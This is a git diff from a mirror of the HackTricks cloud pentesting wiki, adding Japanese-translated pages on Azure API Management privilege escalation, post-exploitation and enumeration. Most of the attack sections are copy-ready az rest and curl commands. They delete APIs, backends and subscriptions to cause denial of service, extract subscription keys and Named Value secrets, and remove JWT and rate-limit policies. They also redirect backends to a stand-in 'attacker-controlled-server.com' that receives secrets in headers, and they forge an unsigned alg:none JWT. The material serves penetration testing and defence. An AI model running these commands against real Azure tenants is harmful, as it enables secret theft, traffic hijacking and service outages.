mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-25 20:34:33 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,76 @@
|
||||
# Azure - API Management Post-Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
|
||||
攻撃者は複数のベクターを利用してdenial of serviceを引き起こすことができます。正当なトラフィックを遮断するために、攻撃者は極めて低い値のレート制限やクォータポリシーを追加し、通常のアクセスを事実上不可能にします:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
特定の正当なクライアントIPをブロックするために、攻撃者は選択したアドレスからのリクエストを拒否するIPフィルタリングポリシーを追加できます:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
|
||||
リクエストを失敗させるために、攻撃者はバックエンド設定を変更してその URL を無効または到達不能なアドレスに変更できます:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://invalid-backend-that-does-not-exist.com",
|
||||
"protocol": "http"
|
||||
}
|
||||
}'
|
||||
```
|
||||
または backends を削除する:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
重要な APIs を利用不能にするため、攻撃者は API Management service からそれらを直接削除できます:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
インターネットからのアクセスを遮断するために、攻撃者は API Management service のパブリック ネットワークアクセスを無効化できます:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Disabled"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
|
||||
正当なユーザーのアクセスを遮断するため、攻撃者は API Management subscriptions を削除できます:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,170 @@
|
||||
# Az - API Management Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
この攻撃は、Azure API Management Named Values に保存されている機密 secrets にアクセスすることを目的としています。直接 secret values を取得するか、権限を悪用して managed identities を介して Key Vault–backed secrets を取得することで行われます。
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
```
|
||||
レスポンスにはサブスクリプションの primary key (primaryKey) と secondary key (secondaryKey) が含まれます。これらのキーを使うことで、攻撃者は API Management Gateway を通じて公開された APIs に対して認証してアクセスできます:
|
||||
```bash
|
||||
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
|
||||
https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
攻撃者は、サブスクリプションに関連付けられたすべてのAPIと製品にアクセスできます。サブスクリプションが機密性の高い製品やAPIにアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を行ったりする可能性があります。
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
攻撃者はまず現在のAPIポリシーを取得します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
攻撃者は目的に応じてポリシーを複数の方法で変更できます。例えば、認証を無効化するには、ポリシーが JWT token validation を含んでいる場合、その部分を削除するかコメントアウトできます:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- JWT validation removed by the attacker -->
|
||||
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
|
||||
...
|
||||
</validate-jwt> -->
|
||||
</inbound>
|
||||
<backend>
|
||||
<base />
|
||||
</backend>
|
||||
<outbound>
|
||||
<base />
|
||||
</outbound>
|
||||
<on-error>
|
||||
<base />
|
||||
</on-error>
|
||||
</policies>
|
||||
```
|
||||
rate limiting controls を解除して denial-of-service 攻撃を可能にするために、攻撃者は quota および rate-limit policies を削除またはコメントアウトできます:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- Rate limiting removed by the attacker -->
|
||||
<!-- <rate-limit calls="100" renewal-period="60" />
|
||||
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
バックエンドのルートを変更して、トラフィックを攻撃者が制御するサーバーにリダイレクトするには:
|
||||
```xml
|
||||
<policies>
|
||||
...
|
||||
<inbound>
|
||||
<base />
|
||||
<set-backend-service base-url="https://attacker-controlled-server.com" />
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
攻撃者は修正したポリシーを適用します。リクエストボディは、XML形式のポリシーを含むJSONオブジェクトでなければなりません:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## JWT 検証の誤設定
|
||||
|
||||
攻撃者は、APIがJWTトークンの検証を使用しており、ポリシーが誤設定されていることを知る必要があります。誤って構成されたJWT検証ポリシーは `require-signed-tokens="false"` や `require-expiration-time="false"` を持っていることがあり、これによりサービスが署名されていないトークンや期限が設定されていないトークンを受け入れてしまいます。
|
||||
|
||||
攻撃者は none アルゴリズム(署名なし)を使用して悪意のあるJWTトークンを作成します:
|
||||
```
|
||||
# Header: {"alg":"none"}
|
||||
# Payload: {"sub":"user"}
|
||||
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
|
||||
```
|
||||
攻撃者は悪意のあるトークンを使用してAPIにリクエストを送信します:
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
ポリシーが `require-signed-tokens="false"` に誤設定されていると、サービスは unsigned token を受け入れます。attacker は `require-expiration-time="false"` の場合、expiration claim を含まない token を作成することもできます。
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
attacker はまずサービスの現在のネットワーク構成を確認します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
```
|
||||
攻撃者はJSONレスポンスを確認して、`publicNetworkAccess` と `virtualNetworkType` の値を検証する。もし `publicNetworkAccess` が false に設定されているか、`virtualNetworkType` が Internal に設定されている場合、サービスはプライベートアクセスに設定されている。
|
||||
|
||||
サービスをインターネットに公開するには、攻撃者は両方の設定を変更する必要がある。サービスが内部モードで稼働している場合(`virtualNetworkType: "Internal"`)、攻撃者はそれを None または External に変更し、`publicNetworkAccess` を有効にする。これは Azure Management API を使用して行える:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Enabled",
|
||||
"virtualNetworkType": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
一旦 `virtualNetworkType` が `None` または `External` に設定され、`publicNetworkAccess` が有効になると、サービスとそのすべての API はインターネットからアクセス可能になり、以前プライベートネットワークやプライベートエンドポイントの背後で保護されていた場合でも同様です。
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
攻撃者はまず既存の backends を列挙して、どれを変更するかを特定します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
```
|
||||
攻撃者は変更したいバックエンドの現在の構成を取得する:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
攻撃者はバックエンドの URL を自分が管理するサーバーを指すように変更します。まず、前回のレスポンスから ETag を取得し、バックエンドを更新します:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"description": "Backend modified by attacker"
|
||||
}
|
||||
}'
|
||||
```
|
||||
別の方法として、攻撃者はbackend headersを構成して、秘密を含むNamed Valuesをexfiltrateできます。これはbackend credentials configurationを通じて行います:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"credentials": {
|
||||
"header": {
|
||||
"X-Secret-Value": ["{{named-value-secret}}"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
この構成では、Named Valuesはすべてのリクエストでattacker-controlled backendにヘッダーとして送信され、sensitive secretsのexfiltrationを可能にします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# Az - API Management
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
Azure API Management (APIM) は、**API を公開、保護、変換、管理、監視するための統合プラットフォーム** を提供するフルマネージドサービスです。組織が API 戦略を一元化し、すべてのサービスで一貫したガバナンス、パフォーマンス、セキュリティを確保できるようにします。バックエンドサービスと API 利用者の間の抽象化レイヤーとして機能することで、APIM は統合を簡素化し、保守性を向上させると同時に、運用およびセキュリティに必要な機能を提供します。
|
||||
|
||||
## コアコンセプト
|
||||
|
||||
**APIゲートウェイ** は、すべての API トラフィックの単一のエントリポイントとして機能し、リクエストのルーティング、レート制限の適用、レスポンスのキャッシュ、認証と認可の管理などの機能を処理します。このゲートウェイは Azure によって完全にホストおよび管理されており、高可用性とスケーラビリティが保証されます。
|
||||
|
||||
**開発者ポータル** は、API 利用者が利用可能な API を発見し、ドキュメントを読み、エンドポイントをテストできるセルフサービス環境を提供します。インタラクティブなツールやサブスクリプション情報へのアクセスを通じてオンボーディングを効率化します。
|
||||
|
||||
**管理ポータル(管理プレーン)** は、管理者が APIM サービスを構成および維持するために使用します。ここから API や操作の定義、アクセス制御の構成、ポリシーの適用、ユーザー管理、API の製品への整理などが行えます。このポータルは管理を集中化し、一貫した API ガバナンスを確保します。
|
||||
|
||||
## 認証と認可
|
||||
|
||||
Azure API Management は API アクセスを保護するために複数の **認証メカニズム** をサポートします。これには **subscription keys**、**OAuth 2.0 tokens**、および **client certificates** が含まれます。APIM は **Microsoft Entra ID** とネイティブに統合されており、エンタープライズレベルのアイデンティティ管理と、API およびバックエンドサービスへの安全なアクセスを可能にします。
|
||||
|
||||
## ポリシー
|
||||
|
||||
APIM のポリシーにより、サービス、API、操作、または製品レベルなど、さまざまな粒度での **リクエストおよびレスポンス処理** を管理者がカスタマイズできます。ポリシーを通して、**JWT トークン検証**、**XML や JSON ペイロードの変換**、**レート制限の適用**、**IP アドレスによる呼び出し制限**、および **managed identities を使用したバックエンドサービスへの認証** などが実現可能です。ポリシーは非常に柔軟であり、APIM プラットフォームの **コアとなる強み** の一つで、バックエンドのコードを変更することなくランタイム挙動を細かく制御できます。
|
||||
|
||||
## Named Values
|
||||
|
||||
このサービスは **Named Values** と呼ばれる仕組みを提供しており、**シークレット**、**API キー**、およびポリシーで必要となるその他の **設定情報** を格納できます。
|
||||
|
||||
これらの値は APIM 内に直接保存することも、**Azure Key Vault** から安全に参照することも可能です。Named Values は設定データの安全で集中化された管理を促進し、ハードコーディングの代わりに **再利用可能な参照** を用いることでポリシー作成を簡素化します。
|
||||
|
||||
## ネットワーキングとセキュリティの統合
|
||||
|
||||
Azure API Management は **Virtual Network (VNet)** 環境とシームレスに統合し、バックエンドシステムへの **プライベートで安全な接続** を可能にします。
|
||||
|
||||
VNet 内にデプロイされた場合、APIM は内部サービスへ公開せずにアクセスできます。また、**相互 TLS 認証 (mutual TLS authentication)** をサポートするための **カスタム証明書** の構成も可能で、強固なアイデンティティ検証が必要なシナリオでのセキュリティを向上させます。
|
||||
|
||||
これらの **ネットワーキング機能** により、APIM はクラウドネイティブなアーキテクチャだけでなく **ハイブリッドアーキテクチャ** にも適しています。
|
||||
|
||||
### 列挙
|
||||
|
||||
API 管理サービスを列挙するには:
|
||||
```bash
|
||||
# Lists all Named Values configured in the Azure API Management instance
|
||||
az apim nv list --resource-group <resource-group> --service-name <service-name>
|
||||
|
||||
# Retrieves all policies applied at the API level in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Retrieves the effective policy for a specific API in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Gets the configuration details of the APIM service instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
|
||||
# Lists all backend services registered in the APIM instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
|
||||
# Retrieves details of a specific backend service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
|
||||
# Gets general information about the APIM service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
|
||||
|
||||
# Calls an exposed API endpoint through the APIM gateway
|
||||
curl https://<apim>.azure-api.net/<api-path>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user